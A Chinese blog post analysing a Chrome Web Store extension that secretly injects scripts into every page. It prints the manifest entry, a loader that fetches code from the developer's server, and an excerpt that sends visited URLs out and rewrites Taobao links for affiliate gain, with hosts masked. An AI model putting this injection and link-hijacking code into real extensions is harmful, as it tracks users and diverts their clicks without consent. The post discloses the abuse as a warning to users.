Chrome扩展与用户隐私

Google Chrome浏览器应该早就是大家的默认了,就连我这个Firefox的忠实用户(至少7年),前不久也换到Chrome了。Chrome本身非常安全,但是很早就有网站报道Chrome扩展很容易在用户浏览的任意网站注入js,收集用户行为;替换链接进行盈利;甚至盗取用户账户信息。

今天从Chrome Web Store官方下载安装了几个扩展后,亲身体验到这一恶意行为。经过是这样的:

我装好Google出品的Page Speed之后,分析了一下我的个人博客。在它给出的建议里:“压缩 JavaScript”这一项居然有以下提示:

压缩以下 JavaScript 资源可腾出的空间大小为 274B(即缩减 100%)。

压缩 http://xxx.xxx.com/js/xxx/extension.js 可腾出的空间大小为 274B(即缩减 100%)。

显然,这个js不是我主动加入的。排除了服务器代码被篡改、传输过程中被篡改(我这种小流量个人博客,再黑心的运营商也不屑于篡改吧)两种可能之后,很快将目标锁定在新安装的几个Chrome扩展上。

输入chrome://extensions/查看已安装的扩展,找到有嫌疑的扩展,记下ID。打开Chrome存放扩展的目录(不同系统在不同目录,可以网上搜下,或者用Everything找),Mac OS的在:~/Library/Application Support/Google/Chrome/Default/Extensions。找到与之前记下的ID相匹配的目录进去。首先扫一眼扩展根目录的manifest.json。果然,目标暴露了:

"content_scripts": [ {
      "js": [ "js/inject.js" ],
      "matches": [ "http://*/*" ],
      "run_at": "document_idle"
   } ]

content scrpits是在页面内运行的JavaScript脚本,通过使用标准的DOM,可以获取或修改用户浏览页面的详细信息。一般Chrome扩展通过content scripts用来增强特定网站功能,除少数对所有网站都有用的扩展(如迅雷私有链转换扩展)之外,matches项只需要包含特定网站即可。而我遇到的这个扩展,显然不需要有在任何网站运行JS的权限。

看下inject.js的代码:

(function(){
    function init(){
        var s,head;
        s=document.createElement("script");
        s.type="text/javascript";
        s.charset="utf-8";
        s.src="http://xxx.xxx.com/js/xxx/extension.js";
        head = document.getElementsByTagName('head')[0];
        head.appendChild(s);
    }
    init();
})();

这段代码又引入了作者服务器上的一个js文件,也就是被Page Speed发现的那个文件。引入在线文件的好处是灵活可控,服务端可以随时更改策略。再看下这个文件的内容:

(function(){
  var s,head;
    s=document.createElement("script");
    s.type="text/javascript";
    s.charset="utf-8";
    s.src="http://xxx.xxx.com/js/extension.min.js";
    head = document.getElementsByTagName('head')[0];
    head.appendChild(s);
})();

很囧的是这个js继续引入了另外一个js文件,好在没有更多了,这就是我们要找的。代码被压缩过,jsbeautifier下,真相大白(节选后的代码还是很长,默认折叠,有兴趣的同学可以点开看):

SITE_PATTERN: {
    "^(http|https)://www\.(taobao|tmall)\.com/": "tb",
    "^(http|https)://*/*": "other"
}
//...
injectHtml: function (a, b) {
    switch (b.site) {
        case "tb":
            A1eg300.linkConvert();
            break;
        default:
            break
    }
}
//...
linkConvertProbability: function () {
    var a = 31;
    var b = 10;
    var c = new Date().getMilliseconds();
    var d = c % a;
    var e = A1eg300.util.getRandomNum(0, a - 1);
    d = Math.round(d / b);
    e = Math.round(e / b);
    if (d == e) {
        return true
    } else {
        return false
    }
}
//...
linkConvertParams: function (a, b) {
    var c = "api/linkparam/";
    var d = {
        "key": a,
        "op": "get"
    };
    A1eg300.util.jsonp(c, d, b)
}
//...
linkConvert: function () {
    var a = true;
    if (a) {
        var b = A1eg300.keys.userLinkConvert;
        A1eg300.linkConvertParams(b, function (c) {
            var d = c.result;
            if ( !! d) {
                var e = false;
                if ( !! c[b]) {
                    A1eg300.params.isLinkConverted = true
                };
                if (!A1eg300.params.isLinkConverted) {
                    e = true
                };
                if (e) {
                    var f = c.redirectUrl;
                    A1eg300.$("a").each(function () {
                        var g = A1eg300.$(this);
                        var h = A1eg300.$(this).attr("href");
                        g.click(function () {
                            if (!A1eg300.params.isLinkConverted && "undefined" !== typeof h && "" !== h && null !== h) {
                                f += "?r=taobao&link=" + encodeURIComponent(h);
                                A1eg300.$(this).attr("href", f);
                                var i = true;
                                var j = 7 * 24 * 3600;
                                A1eg300.api.setCookie(b, i, j, function () {
                                    A1eg300.params.isLinkConverted = true;
                                    A1eg300.$(this).attr("href", h)
                                })
                            }
                        }).mouseover(function () {
                            var i = A1eg300.$(this).attr("href");
                            if (f === i) {
                                A1eg300.$(this).attr("href", h)
                            }
                        })
                    })
                }
            }
        })
    }
}

上面这段代码至少做了几件事:获取用户当前浏览的页面url并将其分类(tb|other);将url发送给服务器(linkConvertParams);根据服务器返回的内容替换页面上的链接地址(linkConvert)。

本文只想谈谈Chrome扩展带来的安全隐患,并不想讨伐某个具体的扩展。该扩展的名称、代码暴露的网址我故意隐藏掉了。该作者的其他扩展也有类似的代码,扩展本身都非常优秀:功能实用、界面美观、交互流畅,在Chrome商店都有5w左右的安装量。

一直不太认同Google宽松的审核制度。拿移动市场来说,几大市场只有Google Play可以在几个小时内上架新App。不负责任的审核,导致Android官方市场经常出现恶意App,相信Chrome商店也有类似问题。Google一直都在推广自己的浏览器,一直在给大家灌输Chrome是最安全的浏览器的思想。我觉得Google也应该承担起相应的责任,减少用户隐私被泄露的可能。至少,对普通用户而言,他们需要对有自己的隐私数据有知情权和选择权。虽然Chrome商店在不起眼的地方写了类似于“Your data on all websites;Your tabs and browsing activity”的权限说明,但这对普通用户来说,作用非常有限。

现阶段,对于普通用户,推荐只安装知名扩展和官方开发的扩展。懂技术的同学可以通过“开发者工具”的“Network”和“Sources”两个tab来检查已安装的扩展有没有异常的行为,自己改掉有问题的代码。Chrome扩展的优点是代码透明,改起来非常方便。

Chrome扩展开发者花费了大量的心血开发免费软件给用户使用,很难得,尝试从扩展中获利也无可厚非。但个人认为,这种完全不告知用户的情况下就收集数据,甚至修改页面始终是不厚道的。本人也是一名开发者,深刻体会到在这个神奇的国度开发软件想要通过正当途径赚钱有多么不容易。直接收费不现实;放Google广告转化率太低;靠捐助也几乎不可能。不过外界环境恶劣不应该成为作恶的借口,有些底限还是要守住的。

update@3.20晚:晚上到家一看,本文提到的扩展居然升级了。扩展关于页增加了一段说明文字,告知了扩展一些行为,虽然用词含糊不清,也算是有了进步。

本文链接:参与评论 »

--EOF--

提醒:本文最后更新于 1356 天前,文中所描述的信息可能已发生改变,请谨慎使用。

专题「Web 产品思考」的其他文章 »

Comments